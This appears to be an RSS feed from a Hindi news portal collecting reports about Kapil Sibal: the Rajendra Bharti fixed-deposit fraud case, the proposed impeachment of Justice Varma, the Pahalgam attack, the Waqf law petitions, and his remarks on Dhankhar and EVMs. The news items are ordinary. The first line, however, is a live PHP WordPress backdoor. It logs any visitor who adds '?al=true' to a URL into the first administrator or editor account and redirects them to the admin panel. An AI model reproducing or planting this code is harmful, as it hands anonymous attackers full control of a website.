// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); kapil Sibal – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 08 May 2026 10:57:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 कपिल सिब्बल के शामिल होने के बाद राजेंद्र भारती केस में तेजी, विधायकी पर सस्पेंस https://pratyushaashakinayikiran.com/?p=217914 Fri, 08 May 2026 10:57:00 +0000 https://pratyushaashakinayikiran.com/?p=217914 दतिया
मध्य प्रदेश के दतिया के पूर्व विधायक एवं कांग्रेस नेता राजेंद्र भारती से जुड़े 27 वर्ष पुराने एफडी हेराफेरी मामले में मध्यप्रदेश हाईकोर्ट ने त्वरित सुनवाई की याचिका स्वीकार कर ली है। अदालत ने मामले की अगली सुनवाई 26 मई निर्धारित की है। न्यायालय ने प्रकरण की गंभीरता को देखते हुए इसे प्राथमिकता से सूचीबद्ध किया, हालांकि शासन पक्ष की ओर से समय की मांग किए जाने के कारण सुनवाई आगे नहीं बढ़ सकी।

जानकारी के अनुसार, राजेंद्र भारती की ओर से 4 मई को शीघ्र सुनवाई हेतु आवेदन प्रस्तुत किया गया था, जिसे 6 मई को जस्टिस स्वर्णकांता शर्मा की अदालत में रखा गया। इससे पूर्व मामले की नियमित सुनवाई के लिए 29 जुलाई की तिथि निर्धारित थी, लेकिन याचिकाकर्ता पक्ष द्वारा जल्द सुनवाई की मांग के चलते यह बदलाव हुआ। पूर्व विधायक की ओर से वरिष्ठ अधिवक्ता कपिल सिब्बल ने पक्ष रखते हुए अदालत से मामले की तत्काल सुनवाई का आग्रह किया और याचिका को शीघ्र सूचीबद्ध करने की मांग की।

एफडी हेराफेरी मामले में दोष सिद्ध
यह मामला वर्ष 1998 में दतिया सहकारी ग्रामीण विकास बैंक में की गई 10 लाख रुपये की फिक्स्ड डिपॉजिट से जुड़ा है। आरोप है कि बैंक के तत्कालीन पदाधिकारियों के साथ मिलकर एफडी की अवधि में अनियमित परिवर्तन कर फर्जी तरीके से ब्याज निकाला गया। इस प्रकरण में दिल्ली की एमपी-एमएलए विशेष अदालत ने राजेंद्र भारती को दोषी ठहराते हुए 3 वर्ष के कारावास की सजा सुनाई है।कोर्ट ने उन पर धोखाधड़ी, आपराधिक साजिश और जालसाजी सहित विभिन्न धाराओं में दोष सिद्ध किया है। सह-आरोपी बैंक लिपिक रघुवीर प्रजापति को भी समान धाराओं में सजा सुनाई गई है।

राजनीतिक और कानूनी स्थिति पर असर
सजा के बाद विधानसभा द्वारा राजेंद्र भारती की सदस्यता समाप्त कर दतिया सीट को रिक्त घोषित किया जा चुका है। संवैधानिक प्रावधानों के अनुसार दो वर्ष या उससे अधिक की सजा होने पर जनप्रतिनिधि की सदस्यता स्वतः समाप्त मानी जाती है। हालांकि, यदि हाईकोर्ट से सजा पर स्थगन आदेश (स्टे) प्राप्त होता है, तो उनकी राजनीतिक स्थिति पर पुनर्विचार संभव है। इस बीच, उनके पुत्र अनुज भारती ने जानकारी दी है कि फैसले के खिलाफ हाईकोर्ट में अपील और जमानत के लिए आवेदन दायर किया जाएगा।

मामले ने पकड़ा राजनीतिक तूल
इस पूरे प्रकरण के बाद दतिया की राजनीति में हलचल तेज हो गई है। यदि हाईकोर्ट में राहत नहीं मिलती, तो दतिया विधानसभा सीट पर उपचुनाव की स्थिति बन सकती है।

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जस्टिस वर्मा के खिलाफ महाभियोग प्रस्ताव का करेंगे विरोध, कपिल सिब्बल का ऐलान https://pratyushaashakinayikiran.com/?p=162845 Tue, 10 Jun 2025 16:40:00 +0000 https://pratyushaashakinayikiran.com/?p=162845 नई दिल्ली

पूर्व केंद्रीय मंत्री और राज्यसभा सांसद कपिल सिब्बल ने मंगलवार को उपराष्ट्रपति और उच्च सदन के सभापति जगदीप धनखड़ पर गंभीर सवाल उठाए हैं. सिब्बल ने सवाल पूछा कि जगदीप धनखड़ ने इलाहाबाद हाई कोर्ट के जज शेखर कुमार यादव के खिलाफ महाभियोग प्रस्ताव लाने के नोटिस पर कोई कार्रवाई क्यों नहीं की. उन्होंने आरोप लगाया कि सरकार जज को बचाने की कोशिश कर रही है, क्योंकि उन्होंने पिछले साल सांप्रदायिक बयान दिया था.

न्यायपालिका को कंट्रोल करने की कोशिश

इसके साथ ही सिब्बल ने दिल्ली हाई कोर्ट के जज यशवंत वर्मा के खिलाफ लाए जा रहे महाभियोग प्रस्ताव का विरोध करने का ऐलान किया है. उन्होंने कहा कि जिस तरह से राज्यसभा सभापति ने शेखर यादव के खिलाफ इन-हाउस जांच को सुप्रीम कोर्ट में चिट्ठी लिखकर रुकवा दिया, उस तरह की चिट्ठी यशवंत वर्मा के मामले में क्यों नहीं लिखी गई. सिब्बल ने कहा कि इन-हाउस रिपोर्ट के आधार पर मंत्री किरेन रिजिजू जस्टिस वर्मा के खिलाफ महाभियोग लाकर उन्हें पद से हटाना चाहते हैं और इसके लिए वह वकीलों से सलाह भी ले रहे हैं.

कपिल सिब्बल ने कहा कि अगर सरकार जस्टिस यशवंत वर्मा के खिलाफ महाभियोग प्रस्ताव लेकर आती है तो हम इसका विरोध करेंगे क्योंकि यह पूरी तरह से असंवैधानिक है. उन्होंने कहा कि अगर ऐसा होता है तो इससे न्यायपालिका की आजादी को बहुत बड़ा खतरा है. सिर्फ इन-हाउस रिपोर्ट के आधार पर किसी जज को पद से नहीं हटाया जा सकता. सरकार न्यायाधीश जांच अधिनियम की अनदेखी करना चाहती है और यह न्यायपालिका को कंट्रोल करने की कोशिश कर रही है.

जस्टिस वर्मा के लिए क्यों नहीं लिखी चिट्ठी

सिब्बल ने जस्टिस शेखर यादव के मामले को लेकर कहा कि पूरी घटना में भेदभाव की बू आती है, क्योंकि एक ओर तो राज्यसभा के महासचिव ने भारत के चीफ जस्टिस को चिट्ठी लिखकर कहा कि वे शेखर यादव के खिलाफ इन-हाउस जांच न करें, क्योंकि उनके खिलाफ राज्यसभा में एक याचिका लंबित है, जबकि जस्टिस यशवंत वर्मा के मामले में ऐसा नहीं किया गया.

कपिल सिब्बल ने जगदीप धनखड़ पर निशाना साधते हुए कहा कि यह बहुत दुर्भाग्यपूर्ण है और जब संवैधानिक पद पर बैठा व्यक्ति, छह महीने में संवैधानिक दायित्वों को पूरा नहीं करता है तो सवाल उठना स्वाभाविक है. सिब्बल ने कहा कि 13 दिसंबर 2024 को हमने शेखर यादव के खिलाफ राज्यसभा के सभापति को महाभियोग प्रस्ताव का नोटिस दिया था, इस पर 55 सांसदों के साइन थे, छह महीने बीत गए हैं, लेकिन कोई कदम नहीं उठाया गया है.

साइन वैरिफाई करने में 6 महीने लगते हैं?

उन्होंने ने कहा, 'मैं उन लोगों से पूछना चाहता हूं जो संवैधानिक पदों पर बैठे हैं, उनकी जिम्मेदारी सिर्फ यह वैरिफाई करना है कि साइन हैं या नहीं, क्या इसमें छह महीने लगने चाहिए? एक और सवाल यह उठता है कि क्या यह सरकार शेखर यादव को बचाने की कोशिश कर रही है.' उन्होंने कहा कि VHP के निर्देश पर शेखर यादव ने हाई कोर्ट परिसर में भड़काऊ भाषण दिया था और फिर मामला सुप्रीम कोर्ट में आया जिसने कार्रवाई की.

सिब्बल ने कहा, 'शेखर यादव से दिल्ली में पूछताछ की गई. इलाहाबाद हाईकोर्ट के चीफ जस्टिस से भी रिपोर्ट मांगी गई. मैंने सुना कि इलाहाबाद हाई कोर्ट के चीफ जस्टिस ने नेगेटिव रिपोर्ट दी है और इस बीच 13 फरवरी 2025 को राज्यसभा सभापति ने कहा कि इस मामले को संवैधानिक तरीके से देखा जाना चाहिए और संसद इसे आगे बढ़ा सकती है.'

क्या धनखड़ को लेटर लिखना चाहिए?

कपिल सिब्बल ने कहा कि राज्यसभा सचिवालय ने चीफ जस्टिस को लेटर भेजकर कोई कार्रवाई न करने को कहा है क्योंकि महाभियोग प्रस्ताव का नोटिस है और सुप्रीम कोर्ट को शेखर यादव के खिलाफ अपनी आंतरिक प्रक्रिया रोकनी चाहिए. सिब्बल ने कहा, 'मुझे समझ में नहीं आ रहा कि ऐसा किस आधार पर हुआ? क्या चेयरमैन को सीजेआई को ऐसा पत्र लिखना चाहिए? इन-हाउस प्रक्रिया सुप्रीम कोर्ट की अपनी है, इसका महाभियोग प्रस्ताव से कोई संबंध नहीं है. अभी तक महाभियोग प्रस्ताव को स्वीकार भी नहीं किया गया है, छह महीने हो गए हैं और सिर्फ साइन वैरिफाई किए जा रहे हैं.'

सिब्बल ने कहा, 'जस्टिस यादव ने जो कहा, वह सबके सामने है, इसमें कोई शक नहीं है. उन्होंने इस पर कोई विवाद नहीं किया है. सुप्रीम कोर्ट को यह तय करना था कि क्या उन्हें ऐसा कहना चाहिए था, क्योंकि हमारे मुताबिक यह पूरी तरह सांप्रदायिक बयान है और यह भी तय करना था कि क्या उन्हें यह बयान देने के बाद जज की कुर्सी पर बैठना चाहिए.'

शेखर यादव को बचा रही है सरकार

उन्होंने कहा, 'आपने जस्टिस यशवंत वर्मा के खिलाफ इन-हाउस जांच पर लेटर क्यों नहीं लिखा? तो क्या यह सरकार शेखर यादव को बचाना चाहती है, हमें लगता है कि वे उसे बचाना चाहते हैं. सिब्बल ने कहा कि या तो शेखर यादव पर कोई कार्रवाई नहीं की जाएगी या फिर वे महाभियोग नोटिस में कुछ हस्ताक्षरों को खारिज कर देंगे और प्रस्ताव को खारिज कर देंगे ताकि हम सुप्रीम कोर्ट जाएं और इसमें समय लगे जिससे यह सुनिश्चित हो सके कि शेखर यादव 2026 में रिटायर हो जाएं.'

13 दिसंबर को कई विपक्षी दलों के सदस्यों ने विश्व हिंदू परिषद के एक कार्यक्रम में इलाहाबाद हाई कोर्ट के जज शेखर यादव के विवादित बयान को लेकर उनके खिलाफ महाभियोग चलाने के लिए राज्यसभा में नोटिस पेश किया था. महाभियोग प्रस्ताव लाने के नोटिस पर सिब्बल, जयराम रमेश, विवेक तन्खा, दिग्विजय सिंह, जॉन ब्रिटास, मनोज कुमार झा और साकेत गोखले सहित 55 विपक्षी सांसदों ने हस्ताक्षर किए.

नोटिस में कहा गया है कि VHP की ओर से आयोजित एक कार्यक्रम के दौरान जस्टिस यादव ने भारत के संविधान का उल्लंघन करते हुए नफरत फैलाना वाला भाषण दिया, जो पूरी तरह से भड़काऊ था. नोटिस में यह भी जिक्र किया गया है कि जज ने अल्पसंख्यकों को निशाना बनाया और उनके लिए पक्षपात और पूर्वाग्रह का नजरिया दिखाया.

 

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कपिल सिब्बल ने अमित शाह से पाक को ‘आतंकी राष्ट्र’ घोषित करने और इस मुद्दे को इंटरनेशनल कोर्ट में उठाने की अपील की https://pratyushaashakinayikiran.com/?p=151034 Wed, 23 Apr 2025 12:05:00 +0000 https://pratyushaashakinayikiran.com/?p=151034 नई दिल्ली
जम्मू-कश्मीर के प्रसिद्ध पर्यटन स्थल पहलगाम के पास बैसारन घाटी में हुए आतंकी हमले ने पूरे देश को झकझोर कर रख दिया है। इस हमले की निंदा करते हुए राज्यसभा सांसद कपिल सिब्बल ने बुधवार को कहा कि इस जघन्य वारदात के लिए जिम्मेदार आतंकियों के खिलाफ अंतरराष्ट्रीय अपराध न्यायालय (ICC) में मुकदमा चलाया जाना चाहिए।

पाकिस्तान को 'आतंकी राष्ट्र' घोषित करे भारत
कपिल सिब्बल ने केंद्रीय गृह मंत्री अमित शाह से पाकिस्तान को 'आतंकी राष्ट्र' घोषित करने और इस मुद्दे को अंतरराष्ट्रीय अदालत में उठाने की अपील की। उन्होंने कहा, "जो भी इसके लिए जिम्मेदार हैं, उनके खिलाफ अंतरराष्ट्रीय अदालत में कार्यवाही होनी चाहिए। मैं गृह मंत्री से अनुरोध करता हूं कि पाकिस्तान को आतंकी राष्ट्र घोषित करें और अंतरराष्ट्रीय अपराध न्यायालय में इस मुद्दे को उठाएं।"

"पागलपन और सनक की हद"
हालांकि, भारत ने अभी तक 'रोम संविधि' पर हस्ताक्षर नहीं किया है, जो कि ICC का अधारभूत समझौता है। ऐसे में भारत ICC की कार्यवाहियों में औपचारिक रूप से भाग नहीं ले सकता। हमले को "पागलपन और सनक की हद" बताते हुए सिब्बल ने कहा, "यह एक पागलपन है, लेकिन बहुत ही सुनियोजित पागलपन है। बैसारन घाटी एक ऊंचाई पर स्थित है, जहां कोई गाड़ी नहीं जा सकती। ऐसे में सुरक्षाबलों को पहुंचने में समय लगता है। आतंकियों ने इस स्थान को सोच-समझकर चुना होगा। उनके पास AK-47 जैसे घातक हथियार थे, उन्होंने पुरुषों को अलग कर टारगेट किया। ये सब पहले से प्लान किया गया था।"

इलाके में बंद का आह्वान
हमले के बाद स्थानीय समुदाय में रोष है और इलाके में बंद का आह्वान किया गया है। पर्यटकों से गुलजार रहने वाला पहलगाम इलाका इस वक्त वीरान नजर आ रहा है। सुरक्षाबलों ने पूरे क्षेत्र में सर्च ऑपरेशन शुरू कर दिया है और सुरक्षा कड़ी कर दी गई है। कपिल सिब्बल ने यह भी दावा किया कि अगर सरकार पाकिस्तान को आतंकी राष्ट्र घोषित करने का कदम उठाती है, तो विपक्ष उसका समर्थन करेगा। यह हमला न केवल सुरक्षा एजेंसियों के लिए एक बड़ी चुनौती बन गया है, बल्कि घाटी में सामान्य स्थिति बहाल करने की प्रक्रिया पर भी गंभीर सवाल खड़े कर रहा है।

कश्मीर के पहलगाम शहर के निकट ‘मिनी स्विट्जरलैंड’ के नाम से मशहूर पर्यटन स्थल बैसारन में मंगलवार को हुए आतंकवादी हमले में 26 लोगों की मौत हो गई। यह पिछले कई वर्षों में कश्मीर में आम नागरिकों को निशाना बनाकर किए गए सबसे भयावह आतंकवादी हमलों में से एक था।

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सुप्रीम कोर्ट में वक्फ संशोधन बिल पर अब तक 6 याचिकाएं, कानून की वैधता को चुनौती, उठाए गए ये सवाल https://pratyushaashakinayikiran.com/?p=146985 Mon, 07 Apr 2025 15:16:00 +0000 https://pratyushaashakinayikiran.com/?p=146985 नई दिल्ली

वक्फ संशोधन बिल 2025 को संसद के दोनों सदनों से पारित होने के बाद राष्ट्रपति द्रौपदी मुर्मू ने भी मंजूरी दे दी, लेकिन अब तक इसका विरोध नहीं थमा है. वक्फ कानून के खिलाफ सुप्रीम कोर्ट में अब तक 6 याचिकाएं दाखिल हो चुकी हैं, जिन पर जल्द सुनवाई की उम्मीद है. सोमवार (7 अप्रैल, 2025) को राज्यसभा सांसद और सीनियर एडवोकेट कपिल सिब्बल ने सुप्रीम कोर्ट में इस मामले में जल्द सुनवाई का अनुरोध किया है, जिस पर मुख्य न्यायाधीश संजीव खन्ना ने भी सुनवाई का आश्वासन दिया है.

एडवोकेट कपिल सिब्बल याचिकाकर्ता जमीयत उलेमा-ए-हिंद की ओर से कोर्ट में पेश हुए थे. उन्होंने कहा, 'हम वक्फ कानून में किए गए संशोधनों का विरोध करते हैं और जल्द सुनवाई की मांग करते हैं.'

चीफ जस्टिस संजीव खन्ना ने कहा कि जल्द सुनवाई के अनुरोध को लेकर पहले ही व्यवस्था बनी हुई है. आपको यहां इसे रखने की कोई जरूरत नहीं थी. सीजेआई ने कहा, 'मैं दोपहर को इन अनुरोधों को देखूंगा और मामले की सुनवाई पर फैसला लूंगा.' उन्होंने सुनवाई का आश्वासन दिया है. वक्फ संशोधन कानून के खिलाफ अबतक सुप्रीम कोर्ट में 6 याचिकाएं दायर हुई हैं. याचिकाकर्ता आज सुप्रीम कोर्ट के चीफ जस्टिस से जल्दी सुनवाई की मांग कर सकते हैं.

चीफ जस्टिस संजीव खन्ना ने स्पष्ट किया कि जल्द सुनवाई के लिए पहले से ही एक व्यवस्था मौजूद है, इसलिए इसे यहां रखने की आवश्यकता नहीं थी. उन्होंने कहा कि वह दोपहर में इन अनुरोधों पर गौर करेंगे और मामले की सुनवाई के संबंध में निर्णय लेंगे. उन्होंने सुनवाई का आश्वासन भी दिया है. वक्फ संशोधन कानून के खिलाफ अब तक सुप्रीम कोर्ट में छह याचिकाएं दायर की जा चुकी हैं, और याचिकाकर्ता आज चीफ जस्टिस से त्वरित सुनवाई की मांग कर सकते हैं.

अन्य याचिकाकर्ताओं की ओर से सीनियर एडवोकेट अभिषेक मनु सिंघवी और निजाम पाशा ने भी पेशी दी. कानून के खिलाफ सबसे पहले कांग्रेस सांसद मोहम्मद जावेद ने 4 अप्रैल को याचिका प्रस्तुत की थी. इसके अतिरिक्त, एआईएमआईएम के अध्यक्ष असदुद्दीन ओवैसी और आम आदमी पार्टी के विधायक अमानतुल्लाह खान ने वक्फ कानून में संशोधनों की वैधता को चुनौती देते हुए सुप्रीम कोर्ट में याचिका दायर की.

एक गैर सरकारी संगठन ‘सिविल राइट्स के संरक्षण के लिए संघ’ ने भी एक याचिका प्रस्तुत की है. केरल के सुन्नी मुस्लिम विद्वानों का धार्मिक संगठन ‘समस्त केरल जमीयत-उल उलेमा’ ने एडवोकेट जुल्फिकार अली पी एस के माध्यम से यह याचिका दाखिल की है.

अन्य याचिकाकर्ताओं के लिए सीनियर एडवोकेट अभिषेक मनु सिंघवी और निजाम पाशा भी पेश हुए थे. कानून के खिलाफ सबसे पहले  कांग्रेस सांसद मोहम्मद जावेद ने 4 अप्रैल को याचिका दाखिल की थी. उनके अलावा एआईएमआईएम अध्यक्ष असदुद्दीन ओवैसी और आम आदमी पार्टी के विधायक अमानतुल्लाह खान ने वक्फ कानून के संशोधनों की वैधता को चुनौती देते हुए सुप्रीम कोर्ट में याचिका दायर की थी.

एक गैर सरकारी संगठन 'एसोसिएशन फॉर द प्रोटेक्शन ऑफ सिविल राइट्स' ने भी याचिका दायर की है. केरल के सुन्नी मुस्लिम विद्वानों के धार्मिक संगठन 'समस्त केरल जमीयत-उल उलेमा' ने एडवोकेट जुल्फिकार अली पी एस के माध्यम से याचिका दाखिल की.

याचिकाओं में क्या-क्या सवाल उठाए गए हैं?

सुप्रीम कोर्ट में दायर इन याचिकाओं में याचिकाकर्ताओं ने धार्मिक स्वतंत्रता के उल्लंघन का तर्क देते हुए कहा है कि यह विधेयक धार्मिक मामलों के प्रबंधन में स्वतंत्रता को प्रभावित करता है, जो संविधान के अनुच्छेद 26 के तहत अल्पसंख्यक समुदायों को दी गई है. खासकर, वक्फ बोर्ड में गैर-मुस्लिम सदस्यों को शामिल करने का प्रावधान और सरकार को वक्फ संपत्तियों पर अधिक नियंत्रण देने की व्यवस्था को मुस्लिम समुदाय के धार्मिक अधिकारों में हस्तक्षेप माना जा रहा है.

याचिकाओं में दावा किया गया है कि यह विधेयक समानता के सिद्धांत का उल्लंघन करता है, क्योंकि यह केवल मुस्लिम समुदाय से संबंधित वक्फ संपत्तियों को लक्षित करता है, जबकि अन्य धर्मों के ट्रस्ट या धार्मिक संस्थानों के लिए समान प्रावधान लागू नहीं किए गए हैं.

विधेयक में वक्फ संपत्तियों के सर्वेक्षण और प्रबंधन के लिए सरकारी हस्तक्षेप को बढ़ाने के प्रावधानों को संपत्ति के अधिकार के उल्लंघन के रूप में देखा जा रहा है. याचिकाकर्ताओं का कहना है कि यह वक्फ बोर्ड की स्वायत्तता को कम करता है और संपत्तियों पर समुदाय के नियंत्रण को खतरे में डालता है.

कुछ याचिकाओं में यह सवाल उठाया गया है कि यह विधेयक अल्पसंख्यक समुदाय की सांस्कृतिक और धार्मिक पहचान को कमजोर करता है, जो संविधान के तहत संरक्षित है.विधेयक में जिला कलेक्टर जैसे सरकारी अधिकारियों को वक्फ संपत्तियों के सर्वेक्षण और विवादों को निपटाने का अधिकार देना भी विवाद का कारण बना है.

बता दें संसद के दोनों सदनों से बजट सत्र में पारित वक्फ (संशोधन) विधेयक, 2025 को शनिवार को राष्ट्रपति द्रौपदी मुर्मू की मंजूरी मिल गई. इस संबंध में गजट अधिसूचना जारी होने के साथ ही वक्फ अधिनियम, 1995 का नाम भी बदलकर यूनिफाइड वक्फ मैनेजमेंट, इम्पावरमेंट, एफिशिएंसी एंड डेवलपमेंट (उम्मीद) अधिनियम, 1995 हो गया है.

 

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कपिल सिब्बल का उपराष्ट्रपति धनखड़ पर तंज, संसदीय प्रक्रियाओं का रोज हम तो अपमान नहीं करते https://pratyushaashakinayikiran.com/?p=49076 Sun, 07 Jul 2024 16:55:00 +0000 https://pratyushaashakinayikiran.com/?p=49076 नई दिल्ली.

उपराष्ट्रपति जगदीप धनखड़ को राज्यसभा सांसद कपिल सिब्बल ने तंज किया। पी चिदंबरम के नए आपराधिक काननू पर दिए बयान पर उपराष्ट्रपति ने उनकी आलोचना की थी कि ऐ अंशकालिक लोगों के द्वारा बनाए गए हैं। इस पर सांसद कपिल सिब्बल नाराज हुए हैं। 1 जुलाई से नए आपराधिक कानून लागू किए गए हैं। इसको लेकर कांग्रेस नेता पी चिदंबरम ने कहा था कि यह अकुशल लोगों ने तैयार किया था।

पी चिदंबरम की इस टिप्पणी से गुस्साए उपराष्ट्रपति जगदीप धनखड़ ने इस टिप्पणी का अक्षम्य बताया। उन्होंने कहा था कि यह अपमानजनक, मानहानिकारक टिप्पणी को वापस लिया जाए। धनखड़ ने कहा कि यह संसद के लोगों का अपमान है, क्या हम लोग अकुशल हैं? उपराष्ट्रपति ने कहा था कि मेरे पास इतने मजबूत शब्द नहीं हैं कि मैं इस तरह की कहानी को फैलाए जाने और एक सांसद को अंशकालिक करार दिए जाने की निंदा कर सकूं। उन्होंने कहा कि मैं चिदंबरम इस मंच से अपील करता हूं कि कृपया सांसदों के बारे में इस अपमानजनक, मानहानिकारक और अत्यधिक अपमानजनक टिप्पणी को वापस लें। मुझे उम्मीद है कि वह ऐसा करेंगे। उनके इस बयान पर राज्यसभा सांसद ने उन पर निशाना साधते हुए कहा कि जगदीप धनखड़ ने पी चिदंबरम के इस बयान की आलोचना की कि अंशकालिक लोगों ने तीन आपराधिक कानूनों का मसौदा तैयार किया, यह 'संसद की बुद्धि का अक्षम्य अपमान' है। उन्होंने कहा कि हम सभी अंशकालिक हैं धनखड़ जी!" विपक्ष के प्रमुख स्वर और स्वतंत्र राज्यसभा सांसद कपिल सिब्बल ने कहा कि "और कौन दैनिक आधार पर संसदीय प्रक्रियाओं का अपमान करता है? हम तो नहीं करते।

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सिब्बल ने फिर छेड़ा ईवीएम से ‘छेड़छाड़’ का राग, मतगणना से पहले कांग्रेस के ख़ास ‘चार्ट’ पर ध्यान देने किया सतर्क https://pratyushaashakinayikiran.com/?p=34453 Sun, 26 May 2024 14:35:00 +0000 https://pratyushaashakinayikiran.com/?p=34453 नई दिल्ली.

देश में इन दिनों लोकसभा चुनाव हो रहा है। अब तक छह चरणों के दौरान कई प्रदेशों में मतदान हो गए हैं और अभी आगे कई राज्यों में कराए जाने हैं। वोटरों को लामबंद करने के लिए विभिन्न राजनैतिक दलों के नेता अलग-अलग राज्यों का दौरा कर रहे हैं और विरोधियों के खिलाफ बयानबाजी का दौर जारी है। इस बीच ईवीएम मशीन पर भी सवाल उठाए जा रहे हैं।

ऐसे में राज्यसभा सांसद कपिल सिब्बल ने एक खास चार्ट तैयार किया है। उन्होंने कहा कि मतदाता को यह विश्वास दिलाना चाहिए कि उसने जिसे वोट दिया उसे ही गया है। राज्यसभा सांसद ने कहा, 'बहुत सारे लोग कह रहे हैं कि इन मशीनों (ईवीएम) से छेड़छाड़ की गई है। हम यह सुनिश्चित करना चाहते हैं कि छेड़छाड़ की कोई संभावना नहीं है। हम यह नहीं कह रहे कि उनके साथ छेड़छाड़ की गई हैं और नहीं की गई है। ऐसा तो है नहीं कि किसी मशीन से छेड़छाड़ नहीं की जा सकती। किसी भी मशीन से छेड़छाड़ की जा सकती है। हमें विश्वास है लेकिन मतदाता को यह सुनिश्चित करना चाहिए कि उसका वोट उस उम्मीदवार को गया है जिसे उसने वोट दिया है। वोटों की संख्या और समय में अंतर होगा तो आपको पता चल जाएगा। मैंने यह जानकारी इकट्ठा करने की कोशिश की और एक चार्ट सभी के लिए बनाया है।

मशीनें खोलने से पहले क्या करना है?
सिब्बल ने कहा, 'आप सभी जानते हैं कि मतदान के नतीजे चार जून को आएंगे। मैं जनता और राजनीतिक दलों को इस बात से अवगत कराना चाहता हूं कि जब मशीनें (ईवीएम) खुलेंगी तो आपको क्या करना चाहिए। इसलिए मैंने सभी दलों और सभी मतगणना एजेंटों के लिए एक चार्ट बनाया है।'

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